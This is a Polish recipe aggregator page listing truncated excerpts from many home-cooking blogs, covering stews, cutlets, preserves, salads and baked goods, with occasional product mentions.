Pyszne gnocchi z dyni , czyli dyniowe kluseczki , które mogą stanowić samodzielne danie - podane z rukolą i parmezanem (albo jakimś sosem) lub być dodatkiem do dań mięsnych. Mają piękny kolor i są przepyszne :)   SKŁADNIKI 1 szklanka puree z  dyni  (przepis tutaj ) 1,5 szklanki mąki pszennej + do podsypywania 2 łyżki mąki ziemniaczanej 1 żółtko 2 łyżki masła

Moje Kuchenne Rewelacje
bób podsmażany po prowansalsku... 195

bób i z 5 minut delikatnie mieszając podsmażać.......SMACZNEGO!!! sól morska prowansalska Royal Brand: produkt naturalny - skład: sól morska, rozmaryn, bazylia, koperek, oregano, tymianek, cząber, lawenda - zastosowanie: do zup, sosów i zapiekanek, do potraw gotowanych, pieczonych, duszonych, do różnych sałatek i surówek, sól idealna do różnego rodzaju serów i twarogów, jaj i dipów - opakowanie szklane: 200 gram

W Mojej Kuchni Lubię
dip i sosy sałatkowe... 175

otrzymałam od Doradca Smaku i Prymat-u dipy i sosy sałatkowe z zaproszeniem do ich wypróbowania i wzięcia udziału w II etapie konkursu od 2 -16 września 2013 roku jury wyłoni 14 najciekawszych przepisów do wygrania są 3 nagrody: 1- jedna nagroda Bosch robot kuchenny Styline MUM56Z4o 2- 3 nagrody Bosch blender MSM66150 3- dziesięć nagród patelnia ceramiczna

W Mojej Kuchni Lubię
indycze golonki na ostro w curry czerwonym po tajsku... 228

kucharka i solą, dusić z 30 minut gdy mięso jest już dobre to je wyjąc na talerz do wywaru wlać 1/2 szklanki słodkiej śmietany 12% i blenderem wszystko zmiksować sos jest zagęszczony i to bez mąki podać z ryżem, ziemniakami lub z czym lubisz........SMACZNEGO!!! czerwone curry po tajsku Royal Brand: produkt naturalny, bez soli - skład: czerwona papryka w kawałeczkach

W Mojej Kuchni Lubię
papryczka ostra Iranian Cherry w miodowej marynacie... 221

wystudzenia przechowywać w ciemnym i chłodnym miejscu - do jedzenia będą dobre po miesiącu papryczki są smacznym, ostrym dodatkiem do mięs na zimno, wędlin, jajek, twarogu, sałatek, surówek, sosu, zupy..........SMACZNEGO!!! papryczka jagodowa odmiana Iranian Cherry to roślina obficie owocująca, daje owoce o przekroju 2-2,5 cm i bardzo ostrym smaku - dla mnie jest bardziej ostra od papryczki chilli

W Mojej Kuchni Lubię
żeberka wieprzowe z papryką i cebulą... 208

minut teraz wlać wodę i pod przykryciem dusić do miękkości mięsa na średnim ogniu do smaku dodać pieprz i maggi mąkę wymieszać w odrobinie wody i zagęścić sos mieszając........SMACZNEGO

W Mojej Kuchni Lubię
pierś w marynacie z soli wędzonej i papryce chilli... 207

razem z marynatą.....polecam.... sól morska wędzona Royal Brand: powstaje w wyniku naturalnego procesu wędzenia soli morskie - skład: naturalna sól morska - zastosowanie: do dań typowo amerykańskich,do barbecue,do sosów,zup, twarogów,sałatek,pomidorów, nadaje smak i aromat wędzonego drewna, świetna dla wegetarian, nadaje potrawą smak i zapach wędzonki

W Mojej Kuchni Lubię
pikantne roladki z piersi z pieczarkami i serem... 274

przykryciem dusić z 30 minut na mniejszym ogniu roladki wyjąć z rondla na talerz i do wywaru wlać śmietanę 12% słodką wymieszaną z mąką i mieszając zagęścić sos i dodać natkę pietruszki przed podaniem na obiad usunąć wykałaczki......SMACZNEGO

W Mojej Kuchni Lubię
udka z przyprawą kurczak z kiełkami... 230

pestkami, wlać wodę i dusić pod przykryciem z 30 minut na średnim ogniu miękkie uda wyjąc na talerz, do wywaru dać śmietanę i wszystko zmiksować pałką blendera na gęsty sos nam smakuje z tłuczonymi ziemniakami lub ryżem........SMACZNEGO!!! kurczak z kiełkami Royal Brand - nie zawiera glutaminianu sodu, bez soli, produkt naturalny - składniki: kiełki fasoli, pieczarki, liście laurowe, seler, cebula, czosnek

W Mojej Kuchni Lubię
kotlety jajeczno-pieczarkowe... 181

wyrobić tak, aby masa była dość zwarta i można było formować kotlety na gorącym mocno oleju smażyć kotlety obsypane tartą bułką smaczne kotlety jajeczne można podać same lub z sosem pieczarkowym i surówkami jakie lubisz.....SMACZNEGO

W Mojej Kuchni Lubię
marynowane papryczki chilli na zimę... 171

olej - mocno zakręcić i pasteryzować z 10 minut papryki przechowywać w chłodnym, ciemnym miejscu - po około 1,5 m-ca są dobre do jedzenia zalewa jest dobra do zup, sosów zamiast pieprzu a papryki do różnych dań, sałatek surówek, kanapek aby były mniej ostre to trzeba usunąć pestki i zjadać same papryki........SMACZNEGO

W Mojej Kuchni Lubię
gołąbki drobiowe z papryką chilli... 239

masła i pod przykryciem zagotować następnie na średnim ogniu dusić ze 40 minut gołąbki wyjąć z garnka i do wywaru wlać sok pomidorowy, zagęścić mąką mieszając gołąbki podać z sosem i do smaku śmietaną........SMACZNEGO

W Mojej Kuchni Lubię
kasza jaglana z gulaszem... 196

podsmażać wszystko co jakiś czas mieszając z 10 minut wlać wodę i pod przykryciem dusić do miękkości mięsa śmietanę 18% słodką wymieszać z mąką i odrobiną wody i zagęścić sos mieszając kaszę jaglaną namoczyć w wodzie z 15 minut i wodę z niej wylać-nie będzie goryczki kaszę ugotować w osolonej wodzie z łyżeczką masła na sypko, wylać na sito

W Mojej Kuchni Lubię
makaronowe kotlety... 212

odstawić na 15 minut ręką zwilżoną olejem formować kotlety obsypując je tartą bułką na mocno gorącym oleju smażyć na złocisto makaronowe kotlety my lubimy np. z buraczkami zasmażanymi i sosem pieczarkowym kotlety można też podjadać same na zimno........SMACZNEGO

W Mojej Kuchni Lubię
mięso z kości schabowych z jarzynami w pierogach okraszone wędzoną słoninką z cebulą... 177

słoniny, 4 sztuki cebula kupuję kości schabowe z dość dużą ilością mięska i gotuję wywar na zupy, który zamrażam porcjami mięso obrane wykorzystuję jako farsze do pierogów, naleśników, pyz, sosu do placków ziemniaczanych kości schabowe zalać wodą - zagotować i wodę wylać a kości opłukać teraz kości zalać odpowiednią ilością wody i gotować do miękkości - pod koniec gotowania dodać warzywa potrzebne

W Mojej Kuchni Lubię
żołądkowy gulasz... 249

rondlu na maśle klarowanym zeszklić cebulę, dodać pokrojone żołądki i papryczkę chilli, kucharka podsmażyć mieszając z 5 minut - wlać wodę i zagotować śmietanę wymieszać z mąką i zagęścić sos, wsypać natkę pietruszki i maggi do smaku taki gulasz lubimy z ryżem lub ziemniakami lub bułką..........SMACZNEGO

W Mojej Kuchni Lubię
"włoskie" gołąbki z kaszą gryczaną i pieczarkami... 236

minut na średnim ogniu przestudzone gołąbki wyjąć z garnka, wodę z gotowania przelać do mniejszego rondla, dodać koncentrat pomidorowy i zagotować śmietanę wymieszać z mąką i zagęścić sos, do smaku można dodać maggi można podać z tłuczonymi ziemniakami lub same gołąbki zajadać...........SMACZNEGO

W Mojej Kuchni Lubię
marynowane piersi kurczaka a`la zrazy... 204

mąką i na mocno gorącym oleju je obsmażyć z każdej strony wlać wodę, kucharka i pod przykryciem dusić na mniejszym ogniu z 40 minut roladki wyjąc z garnka i sos zagęścić śmietaną 18% słodką wymieszaną z mąką, do smaku doprawić magą kucharka roladki a`la zrazy podałam z tłuczonymi ziemniakami i czerwoną kapustą............SMACZNEGO

W Mojej Kuchni Lubię
z natki pietruszki pesto na ostro... 163

przegotowaną i zacząć miksować dolewać oliwę tyle, aby pesto miało konsystencję majonezu light schować do słoiczka i do lodówki my lubimy posmarować pesto na tosty, dodać do sałatek, do sosów, do zup.............. SMACZNEGO

W Mojej Kuchni Lubię
duszony udziec indyka z cebulą i marchewką... 473

grubsze kawałki marchew, cebulę i żabki czosnku dodać kucharka w płynie do smaku i pod przykryciem dusić do miękkości co jakiś czas podlać ciut wodą z wywaru zagęściłam sos śmietaną 18% wymieszaną z mąką - 1/2 kubka śmietany+ 2 łyżki mąki z ciut wodą ..............SMACZNEGO

W Mojej Kuchni Lubię
kurczak po marokańsku z kwiatem muszkatułowym i szafranem... 193

smaku przyprawę wsypać do pojemnika blendera i zalać wodą na 20 minut aby przyprawy napęczniały - potem całość zmiksować - w ten sposób domownicy wszystkie składniki przyprawy zjedzą bez marudzenia i sos jest naturalnie zagęszczony bez mąki umyte, osuszone podudzia zrumienić na gorącym oleju do podudzi dodać zmiksowaną przyprawę, dolać wywar z rosołu i pod przykryciem dusić z 30 minut do smaku

W Mojej Kuchni Lubię
pomidory z solą ziołową,pieprzem do zamrożenia na zimę... 185

mrożone zawsze robię na zimę dość spory zapas, w woreczkach mogę więcej do zamrażarki włożyć niż w pojemnikach w zimie wystarczy tylko taką porcję zamrożoną dodać na zupę pomidorową, sos do mięsa czy gołąbków mocno dojrzałe pomidory umyć, usunąć szypułki i jak pomidory są duże to podzielić je na mniejsze cząstki razem ze skórą do dzbanka miksującego włożyć odpowiednią ilość

W Mojej Kuchni Lubię
gulasz z maślakami ... 204

dopiero po dodaniu maślaków w zalewie solnej, gdy się wszystko połączy po dodaniu z wodą wtedy próbujemy smak słoności śmietanę wymieszać z mąką z ciut wodą i mieszając zagęścić sos gulasz smakuje z kaszami, ryżem, ziemniakami........SMACZNEGO

W Mojej Kuchni Lubię
podudzia z pieczarkami.. 211

marynowaną ostrą razem z pestkami dolać wody, włożyć podudzia, wsypać kucharka i pod przykryciem dusić z 30 minut śmietanę słodką 12% wymieszać z mąką z ciut wodą i zagęścić sos, wsypać natkę pietruszki podawać z ziemniakami, ryżem, kaszami...........SMACZNEGO

W Mojej Kuchni Lubię
marynowana biodrówka na obiad... 174

ziołowy 2 łyżeczki, papryka ostra mielona 1 łyżeczka, kucharek 1 łyżeczka, bazylia otarta Prymat 1 łyżka, cebula 3 sztuki, pomidor 1 sztuka, woda 1/2 szklanki, ziemniaki młode 1/2 kg, sos sałatkowy do mizerii Prymat 1 łyżeczka, ogórek zielony 2 sztuki, pomidor 1 sztuka, jogurt naturalny 180 gram łopatkę natrzeć marynatą z oleju, pieprzu ziołowego, papryki ostrej, kucharka schować do woreczka

W Mojej Kuchni Lubię
smażona flądra w pomidorach z cebulą czyli Pudliszki – pomidorowe inspiracje – ryby 240

złocisto dodać koncentrat pomidorowy Pudliszki, sól do smaku, wlać wodę i mieszając odparować połowę wody, na koniec dodać posiekany koperek flądry ułożyć na półmisku i i pokryć je gorącym sosem z cebulą, zostawić do ostudzenia - najlepiej smakują po kilku godzinach w lodówce jak smaki się przegryzą.............SMACZNEGO

W Mojej Kuchni Lubię
gulasz z biodrówki z mieszanym makaronem po seczuańsku... 191

pokroić w kostkę i na gorącym oleju zrumienić, dodać pokrojoną cebulę, pieprz, kucharka, wlać wodę i dusić do miękkości mięsa mąkę ziemniaczaną wymieszać w odrobinie wody i wlać do sosu mieszając - do smaku doprawić przyprawą w płynie z mieszanki makaronu po seczuańsku odłożyłam duże muszle i resztę wykorzystałam do obiadu - muszle też wykorzystam jako nadziewane.... makaron ugotować w osolonej wodzie

W Mojej Kuchni Lubię
bób z czosnkiem cebulą, bazylią czyli smaczne kotlety... 205

gorącym oleju smażyć kotlety na rumiano z obu stron i odkładać na ręcznik papierowy kotlety są po prostu przepyszne i na ciepło i na zimno, można podać z sosami, surówkami lub same zajadać.............SMACZNEGO

W Mojej Kuchni Lubię
duszone udka z cebulą,czosnkiem,solą wędzoną... 215

dodać przyprawę w płynie...............SMACZNEGO!!! sól morska wędzona Royal Brand: naturalna sól morska, powstaje w wyniku naturalnego procesu wędzenia soli morskiej - zastosowanie: do dań typowo amerykańskich,do barbecue,do sosów,zup, twarogów,sałatek,pomidorów. nadaje smak i aromat wędzonego drewna - opakowanie: 200 gram Powstaje w wyniku naturalnego procesu wędzenia soli morskiej

W Mojej Kuchni Lubię
jajeczne kotlety z porem i serem... 218

tyle aby masa nie była za luźna formować kotlety i smażyć na rumiano na gorącym mocno oleju, usmażone odkładać na ręcznik papierowy smaczne kotlety można zjeść z surówkami lub sosem pieczarkowym............SMACZNEGO

W Mojej Kuchni Lubię
ryżowe kotlety z cukinią,kalafiorem,marchewką,chilli... 240

mięsne kotlety na gorącym mocno oleju smażyć na rumiano kotlety i odkładać na ręcznik papierowy są pyszne takie kotlety i na ciepło ale też i na zimno np. z sosem czosnkowym...........SMACZNEGO

W Mojej Kuchni Lubię
Rösti-szwajcarskie placki z podgotowanych ziemniaków na ostro z chilli... 194

takie lepiej smakują i podsumowując to te placki są mega smaczne, łatwe i można je komponować z czym się lubi: od warzyw po mięsa, ryby lub same do sosów, gulaszu ..............SMACZNEGO!!! dostałam od firmy VICTORINOX upominek: - nożyk limitowany Victorinox Swiss Classic wyprodukowany specjalnie z okazji 130-lecia marki Victorinox - nożyk jest poręczny w użyciu, ma ząbkowane, ostre ostrze z dobrej

W Mojej Kuchni Lubię
pomidory na zimę... 518

mniejszych słoików dać mniejszą ilość soli i oleju takie pomidory wystarczy w zimie wlać do wywaru na zupę pomidorową i zmiksować blenderem albo przetrzeć przez sito również do sosu, bigosu są pysznym dodatkiem...............SMACZNEGO

W Mojej Kuchni Lubię
kotlety marchwiowo-kalafiorowe... 162

formować z 1,5 cm grubości kotlety smażyć na rumiano na bardzo gorącym oleju i odkładać na ręcznik papierowy te kotlety my lubimy najlepiej na zimno jako przegryzka z sosem tzatziki, keczupem.........SMACZNEGO

W Mojej Kuchni Lubię
pasteryzowane w zalewie solnej kurki... 218

słoiki schować w ciemnym i chłodnym miejscu grzyby po otwarciu słoika na durszlaku przelać zimną wodą lub je w nowej wodzie zagotować i mamy pyszne kurki np. do jajecznicy, sosu, zapiekanek, zupy...............SMACZNEGO

W Mojej Kuchni Lubię
szybkowar-udziec indyka w warzywach... 174

czasie zdjąć z ognia szybkowar i zostawić na 30 minut-ciśnienie samo zejdzie, nie trzeba spuszczać mięso, warzywa wyjąć cedzakiem na talerz, wywar przelać do rondla i można zrobić sos zabielany mąką ze śmietaną na obiad nam smakuje ten indyk z warzywami na zimno do pieczywa............SMACZNEGO

W Mojej Kuchni Lubię
szybkowar-udziec indyka z kością z marchewką,papryką,czosnkiem,cebulą... 256

gotować na małym ogniu z 45 minut, szybkowar zostawić aby ciśnienie samo spadło ok. 15 minut szybkowar teraz otworzyć, wyjąć mięso, warzywa, wywar przelac do mniejszego garnka i zrobić sos ze śmietaną słodką 18% i maką , podać z ziemniakami, ryżem lub z czym się lubi...............SMACZNEGO

W Mojej Kuchni Lubię
Kurczak z mascarpone i suszonymi pomidorami 1451

dorzucamy do kurczaka. Gdy kurczak się już podsmaży dodajemy serek mascarpone i czekamy aż się rozpuści. Wszystko razem chwile podgrzewamy na wolnym ogniu do momentu aż się zredukuje. Gotowy sos podajemy z ugotowanym makaronem

Animelka Blog
Przepis na idealne pierogi..... 474

kółka nie przykleiły ) ...nakladamy farsz i lepimy pierogi... Gotujemy w osolonej wodzie z odrobiną oleju, by pierogi nie przylepiały się do siebie. Moje pierożki podałam z sosem pomidorowym z bakłażanem i parmezanem. Tak po włosku. Smakuja wybornie. Smacznego

Z Kuchni Do Kuchni
Roladki schabowe z piekarnika 771

nakładać porcje farszu, zwijać w roladki, układać roladki w naczyniu żaroodpornym. Włożyć do piekarnika, piec 60 minut w 220 stop, co jakiś czas polewając je wytworzonym się podczas pieczenia sosem.  Pod koniec pieczenia zdjąć pokrywę z naczynia, aby roladki ładnie się zarumieniły. (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement

Kuchnia Danusi
Ananasowe żeberka na pikantnie 242

Przyzwyczailiśmy się do wieprzowych żeberek duszonych w sosie z dużą ilością cebuli , czasem grzybów , gotowanych, pieczonych lub z grilla. A przecież wieprzowina to mięso bardzo popularne na całym świecie i czasem przyrządzana jest w zupełnie egzotyczny dla nas sposób. Wypróbowałam pomysł na połączenie duszonych żeberek ze smakiem ananasa .Przyprawy takie jakie z orientalnych akurat miałam. Polecam- doprawienie można modyfikować. Czytaj

Buniabaje w kuchni
Placki ziemniaczane 182

Placki ziemniaczane można również podawać polane śmietaną i posypane cukrem, ale  też  polane sosem pieczarkowym lub mięsnym

Klaudynkowa kuchnia
Pizza? bez drożdży..z patelni.. 225

już jest na blogu.....ta jest szybsza do zrobienia ,,tylko smażymy na patelni bez żadnego zapiekania w piekarniku..pomysł podpatrzony tutaj . 2 jajka 4 łyżki śmietany 4 łyżki majonezu [ sosu czosnkowego ] 2/3 szklanki mąki (8-10 łyżek) szczypta soli ketchup, majonez 1 pomidor 100 g kiełbasy lub salami 100 g sera żółtego lub mozzarella Przygotować ciasto: lekko roztrzepać jajka, dodać

Moje domowe kucharzenie
Z... Ziemniak! 260

Chiny? <taka mała ciekawostka> ;p Gotowanie, zapiekane, smażone, purée, ich kaloryczność (która w początkowej fazie wbrew wszystkim legendom wcale nie jest wysoka!) zależy od późniejszej obróbki i sosów, z jakimi zostaną podane. Ja wiem, jak wszyscy lubią pieczone ziemniaki. Nie muszą być jednak smażone na ooogroooomnej ilości niedobrego tłuszczu. Zapraszam Was na całkiem dietetyczne pyrki 2 przyprawach, które

Kitchens Alphabet
Indyk w towarzystwie gorących pieczarek 257

Dawno już nie pisałam i powiem Wam, że brakowało mi tego. Dlatego od dziś znowu regularnie będzie tutaj coś "błyszczeć". Dzisiaj pora na indyka w pieczarkach

Kuchnia moimi oczami
Kiełbaskowe zawijaki 216

padło na Tokaji Furmint. Mimo niskich ocen smak nie jest AŻ taki zły. Cena :9,90 zł - LIDL Smacznego! Ann. PS Wersja dla niepijących to zawijaki z ketchupem lub sosem tzatziki

Kuchnia moimi oczami
A... Apéro-dÎner 263

zdrowsze!) przekąski. Czego więc można się spodziewać? - wino! - oliwki - bagietki oraz sery (które, co ciekawe, we francuskich restauracjach oraz domach często traktowane są jako desery) - warzywka pokrojone w słupki - sosy (coby warzywkom smutno nie było): czosnkowe, hummus, guacamole - wędliny - pasztety... ...i wiele, wiele innych. Ja -pani domu z powołania- osobiście zakochałam się w tej formie przyjmowania gości, których chyba szczerze

Kitchens Alphabet
C... Conchiglioni nadziewane 373

nafaszerowałam" je na 2 sposoby. Składniki: przede wszystkim: 3/4 (lub całe, w zależności jakie macie naczynia i ile głodnych brzuchów) opakowanie makaronu I nadzienie: mięso mielone z pieczarkami w sosie pomidorowym 250g mięsa mielonego* 1 cebula 4-5 pieczarki 1 x pomidory z puszki sól/pieprz/papryka Chilli/czosnek 2 plastry serka topionego  *w zależności od głodnych żołądków II nadzienie: łosoś

Kitchens Alphabet
ZG... Zgrana paczka, czyli szybki makaron, warzywa i kurczak 409

akceptuję!) 4 pieczarki ser emmentaler w kostce przyprawy Przygotowanie : 1. Makaron : gotujemy zgodnie z instrukcją na opakowaniu. 2. Kurczak : Kurczaka kroimy w kostkę, dodajemy łyżkę oliwy i łyżeczkę sosu sojowego, pokrojony czosnek, szczyptę soli, pieprzu, papryki ostrej, mieszamy i zostawiamy na 10-15min. 3. Na patelni na oliwie podsmażamy wszystkie warzywa, dodajemy przyprawy (ja dodałam bazylię, curry, paprykę słodką

Kitchens Alphabet
K... Kurczak z porem i papryką! 1537

przypaliło! Na rozgrzaną patelnię do grillowania* wkładamy kurczaka i grillujemy ok. 5min. z każdej strony (w zależności jak wysmażonego i soczystego kurczaka chcecie). Kurczaka na talerzu polewamy naszym "sosem" porowo-paprykowym, dodajemy ziemniaki oraz ketchup/majonez do smaku:)  Volià, kurczak pod porowo-paprykową pierzynką gotowy! :) * patelnia do grillowania to jeden z moich najlepszych zakupów! Służy mi już dobre kilka

Kitchens Alphabet
Parówkowe mumie 399

przekąski nadają się idealnie. O pomoc w wykonaniu parówkowych mumii można poprosić dzieci - będą zachwycone! Składniki: 10 parówek opakowanie ciasta francuskiego pieprz ziarnisty lub goździki dodatkowo: ulubiony sos lub ketchup Wykonanie: Z parówek zdjąć osłonki i każdą przekroić na pół. Z rozwiniętego płatu ciasta francuskiego odcinać ok. 1 cm paski i owinąć nimi parówki, pozostawiając miejsce na oczy. Następnie

Pasja Smaku
CURRY Z CUKINII I SZPINAKU. 274

kurkumą, cynamonem, kardamonem, kuminem i chili. Dodaję pokrojoną w kostkę cukinię, chwilę przesmażam, dodaję szpinak. Kiedy zmniejszy swoją objętość, wlewam mleko kokosowe, odrobinę bulionu warzywnego. Gdy cukinia zmięknie, a sos zgęstnieje, doprawiam solą i pieprzem oraz sokiem z cytryny. Podaję z ugotowanym ryżem. SMACZNEGO! Pozdrawiam, Karmel-itka

W kuchni Karmel-itki
Wesołych Świąt 188

Dekoracja; Czekolada 1/4 tabliczki mlecznej margaryna 10 g   lukier wg uznania barwnik zielony do żywności wg uznania kolorowa posypka wg uznania pisaki (sprzedawane w paczkach po 4 sztuki) sos fioletowy wg uznania 1. Z podanych składników zagniatamy ciasto i wstawiamy do lodówki na godzinę czasu 2. Na stole wysypujemy troszkę mąki i rozwałkujemy ciasto na grubość

pichciszto
Babeczki z Rabarbarem 205

wymieszać, wlać do Silikonowych Babeczek, wypełniając każdy otwór do ok. 1/2 objętości. Piec w nagrzanym do 195 st.C piekarniku przez 15 minut. Gotowe babeczki ostudzić i oprószyć cukrem pudrem. SOS DO BABECZEK:) Składniki; 120ml śmietany 36% 2g żelatyny Wykonanie; 100ml śmietany ubić a kolejne 20ml podgrzać i rozpuścić żelatynę. Ubitą śmietanę połączyć ze śmietaną z żelatyną i odstawić do lodówki

Anioły w kuchni
Sałatka Caprese 301

Caprese - rodzaj sałatki pochodzący z regionu Kampania w południowych Włoszech. Przyrządza się ją z pokrojonych w plastry pomidorów oraz mozzarelli, przełożonych na przemian, polanych sosem z oliwy z oliwek,posypanych grubo zmielonym pieprzem i udekorowanych liśćmi bazylii. Ma ona odzwierciedlać Włoską flagę.  /zródło Wikipedia/ Składniki: 1 mozzarella, 2 duże dojrzałe pomidory, kilka listków bazylii, sól, pieprz, oliwa

Anioły w kuchni
Focaccia czyli włoski chleb, z oliwkami i solą morską 190

leniwy jesienny wieczór z lampką wina i blachą świeżo upieczonej focacci?...zapach pieczonych oliwek bezcenny… Focaccia – potrawa kuchni włoskiej, jest to rodzaj pieczywa, będącego podstawą pizzy (bez sera i sosu pomidorowego – samo ciasto). Każdy region Włoch może się pochwalić inną odmianą focaccia, od suchego, z solą, ziołami (rozmaryn, szałwia) polanego oliwą ciasta, do pulchnego z suszonymi pomidorami i oliwkami. Zazwyczaj

Anioły w kuchni
Makaron razowy z ciecierzycą 181

rozgrzaną patelnię i smaż cały czas mieszając. Gdy warzywa zmiękną, dodaj odsączoną z zalewy ciecierzycę oraz pomidory, dopraw pieprzem, solą, tymiankiem oraz majerankiem. Duś 15 - 20 minut. Do gotowego sosu dodaj ugotowany wcześniej makaron. Podawaj posypany listkami tymianku. /źródło "Rewolucje na talerzu

Anioły w kuchni
Pasta z tuńczyka 217

Jeśli szukacie pomysłu na szybką pastę do chleba...biegnę Wam z pomocą;)  Składniki; puszka tuńczyka w wodzie lub sosie własnym, 2 lub 2 ½ lyżki majonezu, seler naciowy, 1 cebula czerwona, sol pieprz, trochę soku z cytryny Wykonanie; Odciskamy tuńczyka na sitku, bardzo mocno, ddajemy posiekany seler, cebule w drobną kosteczke. Następnie dodajemy majnez, sok z cytryny i doprawiamy solą

Anioły w kuchni
Czosnkowe podpłomyki Nigelli 153

rozwałkować na prostokąty lub jak wolicie. Przełożyć placki z papierem na blachy, przykryć ściereczką i pozostawić do wyrośnięcia na 25 min. Na całej powierzchni ciasta zrobić palcami wgłębienia, polać sosem czosnkowym . Wstawić do piekarnika nagrzanego do 200 stopni i piec przez ok. 20 min...   Smacznego ·   /źródło: N.Lawson "How to be a domestic goddess

Anioły w kuchni
GOTOWANY SCHAB 231

Kochani ten schab jest naprawde rewelacyjny. Nie wymaga dużych zdolności kulinarnych, nie zawiera tyle kalorii co schab pieczony. Polecamy go bardzo i na zimno i z sosem do obiadu:) Składniki; 1 kg schabu, 2 łyżki soli, 1 łyżka pieprzu mielonego czosnek, jałowiec, ziele angielskie, liść laurowy, wg. uznania przyprawy Wykonanie; schab włozyć do zimnej wody, wrzuciś przyprawy, od zagotowania gotować

Anioły w kuchni
Chińszczyzna 428

którą nie każdy będzie chciał zrobić. Ale do rzeczy... Składniki; makaron chiński pszeniczny /nie ryżowy/, mieszanka chińska mrożona, 1 jajko, 2 łyżki oleju, 2 łyżki oleju sezamowego, 3 łyżki sosu sojowego, 1 łyżeczka sambal olek, 1/2 łyżeczki pieprzu syczuańskiego, Wykonanie; Makaron zalewamy wrzątkiem i odstawiamy. Rozgrzewamy wok z olejem, wrzucamy warzywa i podsmażamy.Doprawiamy wymienionymi składnikami. Dorzucamy odcedzony makaron

Anioły w kuchni
Filet z indyka faszerowany owocami 223

rolad. Przełożyć mięso do brytfanny, posmarować masłem i piec przez godzinę w 180 stopniach. Od czasu do czasu polewać mięso zalewą, w której moczyły się owoce, a potem sosem z dna naczynia. Po upieczeniu pokroić na porcje, podawać na gorąco lub na zimno z warzywami

Anioły w kuchni
Gołąbki z kaszą, ryżem i mięsem 204

wszystkie składniki, doprawić masę według uznania. Spód garnka wyłożyć liśćmi kapusty, zawijać farsz w liście i układać ciasno w garnku. Zalać bulionem i gotować ok. 1 godzinę. Podawać z sosem pieczarkowym lub pomidorowym

Anioły w kuchni
Szybkie ciasto czekoladowe 257

gotową już masą. Przelej do przygotowanej formy o średnicy 28 cm. Nagrzej piekarnik 250 stopni i piec ciasto tylko i wyłącznie 10 minut :) Sprawdź patyczkiem. Podczas pieczenia ciasta przygotuj sos. Zetrzyj skórkę pomarańczy, a cząstki oczyść z białych błon. Podgrzej cząstki pomarańczy z miodem i sherry. Gotowe ciasto podawaj gorące z polewą. Smacznego

Anioły w kuchni
Kotlety z grochu z kaszą bulgur 210

smażyć na rozgrzanej oliwie. Surówka: Kapustę pekińską pokroić, posolić i odstawić. Marchewkę i żółtą paprykę zetrzeć na tarce, pora drobno pokroić i przelać wrzątkiem. Składniki połączyć i polać sosem przygotowanym z jogurtu greckiego, majonezu i 1 łyżeczki chrzanu cytrynowego. Kaszę gotuje się tak samo jak ryż. Całość posypać natką pietruszki. Smacznego

Anioły w kuchni
Sałatka z wędzonym pstrągiem 232

sałat, 120 g wędzonego pstraga, garść rukoli, łyżka czarnego sezamu, 2 duże rzodkiewki, 1 kłącze selera naciowego, 1/2 zielonego ogórka, Dresing orientalny; 8 łyżek oliwy, 2 łyżki ciemnego sosu sojowego, kawałek startego imbiru, sok z połowy limonki, szczypta pieprzu cayenne, łyżeczka carry, Wykonanie; Na mieszance sałat i rukoli układamy poszarpanego pstraga, plastry rzodkiewki i ogórka oraz selera. Posypujemy sezamem. Składniki

Anioły w kuchni
Pieczony kurczak ze śliwkami 220

zmięknąć. Śliwki myjemy i drylujemy. Na 25 minut przed końcem pieczenia wykładamy na kurczaka i do kurczaka;)  Gdy już kurczak jest gotowy, wyjmujemy z piekarnika i polewamy powstałym sosem podczas pieczenia

Anioły w kuchni
Dyniowe curry indyjskie z czarnuszką! Obłędne! 225

Serek kremowy INDIE. Polecam ten serek smak jest boski. Zainspirowana smakiem przygotowałam na indyjski obiad kurczaka w curry, z dodatkiem: musu z pieczonej dyni, rozgrzewających przypraw i serka Indie. Sos podałam z kaszą jaglaną z domieszką kurkumy i świeżej kolendry i natki pietruszki! Palce lizać! ;-)   SKŁADNIKI : DYNIOWE CURRY INDYJSKIE Z KURCZAKIEM: - serek Arla Apetina Indie - 1 szklanka miąższu

SMYKWKUCHNI
Sałatka z tortellini 451

pieprz do smaku * ząbek czosnku * koperek Przygotowanie : Ogórki i paprykę pokroić w kostkę. Ugotować tortellini, wystudzić. Majonez wymieszać z jogurtem, dodać czosnek i koperek. Przyprawić. Wymieszać składniki sałatki z sosem. Odstawić do lodówki

Magiczne Życie Marty
Spotkanie w warszawskiej Cafe d'Arte z Mistrzem Włoch w robieniu pizzy 240

właśnie daniem zdobył tytuł Mistrza Włoch w robieniu pizzy 2014.  Luciano, współwłaściciel restauracji doskonale odnajduje się w kuchni i gotuje całym sercem. Specjalnie dla nas przygotował tagliatelle z sosem śmietanowym i gorgonzolą. Danie było wyśmienite. Należy jeszcze podkreślić, że Luciano z wykształcenia jest architektem i autorem klimatycznego wystroju restauracji. Domowe ravioli ze szpinakiem Nastrojowe wnętrza Cafe d'Arte zachęcają

Kulinarne przygody Gatity
Fasolowa z kulkami z białej kiełbasy 188

Zupa z cyklu gotuję z tego co mam. Puszki z wszelkiego rodzaju fasolkami w sosie własnym lub pomidorowym mam w domu zawsze .Przydają się gdy chcę zrobić coś na szybko. A to błyskawiczną fasolkę po bretońsku ( bo w lodówce jest kawałek kiełbasy), albo jakąś sałatkę bo z obiadu został ziemniak . A jak zostanie mi trochę jakiegoś wywaru to robię zupę

Buniabaje w kuchni
Schab faszerowany suszonymi pomidorami 247

patelni, po czym przełożyć do żaroodpornego naczynia. Podlać tłuszczem ze smażenia.  4. Piec w tem. 200 C przez 1 i 1/2 godziny, co jakiś czas mięso podlewać wytopionym sosem. 15 minut przez końcem obróbki schab posmarować miodem i oprószyć świeżo zmielonym pieprzem. Przed podaniem odstawić danie na 10 minut. Usunąć nić i kroić mięso w plastry

Apetyczna babeczka
Bułki do hamburgerów i nie tylko 241

złoty kolor z opcją górnej i dolnej grzałki. Po upieczeniu wyjąć na kratkę, wystudzić. U mnie były zjedzone z wędliną ..a także były i hamburgery..a w nich pyszny sos do hamburgerów Develey

Moje domowe kucharzenie
Mięso wekowane 285

Tupperware].Następnie mięsko podsmażyć, dodać przyprawy , bulionetkę i dusić  pod przykryciem na wolnym ogniu. Jak mięso  już miękkie przełożyć gorące do słoików[ z żeberek usunęłam kości],dolać sosu do każdego słoiczka. Zakręcić i pasteryzować metodą tyndalizacji

Moje domowe kucharzenie
Kalafior w cieście pomidorowym 834

